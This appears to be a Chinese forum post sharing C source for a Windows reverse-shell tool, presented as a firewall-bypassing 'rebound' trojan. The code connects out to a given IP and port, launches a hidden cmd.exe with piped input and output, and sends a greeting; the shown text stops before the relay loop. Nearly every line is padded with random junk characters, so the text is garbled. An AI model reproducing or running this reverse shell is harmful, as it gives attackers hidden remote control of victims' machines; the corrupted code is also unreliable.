这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 wsI`fO^A8
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/* ============================== 128EPK
Rebound port in Windows NT uxvqMgR
By wind,2006/7 +0nJ
===============================*/ dMv=gdY
#include `ZyI!"
#include /
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#pragma comment(lib,"wsock32.lib") !>..Q)z
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void OutputShell(); oAODp!_c
SOCKET sClient; _E@2ZnD2
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; hK L4cpK4
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void main(int argc,char **argv) 1\
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{ sBvzAVBL
WSADATA stWsaData; xr4*{v
int nRet; V5V
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SOCKADDR_IN stSaiClient,stSaiServer; R O+GK`J
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if(argc != 3) ZxGJzakB5$
{ Z'`<5A%;
printf("Useage:\n\rRebound DestIP DestPort\n"); n'n/Tu
return; snE8 K}4
} [=6]+V83M
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WSAStartup(MAKEWORD(2,2),&stWsaData); )~)J?l3{
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Gp?a(-K5
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stSaiClient.sin_family = AF_INET; \A 2r]
stSaiClient.sin_port = htons(0); K[Y I4pt7
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); kCWV r
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) >JHryS.j$4
{ j4gF;-m<
printf("Bind Socket Failed!\n"); N.,X<G.H
return; `i3NG1
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} q9KHmhUD
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stSaiServer.sin_family = AF_INET; ?uzRhC_)!
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Elcj tYu4
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); s4X>.ToMC
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) )B"jF>9)[
{ 'N (:@]4N
printf("Connect Error!"); (-UYB9s
return; [+2[`K
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} KKja/p
OutputShell(); MU@UfB|;u
} }aa'\8
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void OutputShell()
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{ -;s|
char szBuff[1024]; >*~L28Fyn
SECURITY_ATTRIBUTES stSecurityAttributes; :3v}kLO7|
OSVERSIONINFO stOsversionInfo; ^S4d:-.3
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; (9''MlGd%
STARTUPINFO stStartupInfo; Q|S.R1L^
char *szShell; \FQRNj?'_
PROCESS_INFORMATION stProcessInformation; PS)4 I&;U
unsigned long lBytesRead; pnl{&<$C%C
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 1F5XvQl
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); OcR$zlgs[v
stSecurityAttributes.lpSecurityDescriptor = 0; %<\vGqsM
stSecurityAttributes.bInheritHandle = TRUE; mitHT :%r2
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); q(
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 1-8mFIK
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); b6c Bg
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N]>=p.#j
stStartupInfo.wShowWindow = SW_HIDE; zGb|) A~,
stStartupInfo.hStdInput = hReadPipe; F+YZE[h%
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; }^ApJS(FQ
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GetVersionEx(&stOsversionInfo); 2%DSUv:H%
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switch(stOsversionInfo.dwPlatformId) x,=&JtKVc
{ ;5]Lf$tZ
case 1: 5Yg'BkEr
szShell = "command.com"; 9'fQHwsJ
break; Bd!bg|uO*
default: Z^bQ^zk-
szShell = "cmd.exe"; &jS>UsGh
break; LC,F
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} b o6d)Q
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ISYXH9V
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send(sClient,szMsg,77,0); ]FJjgu<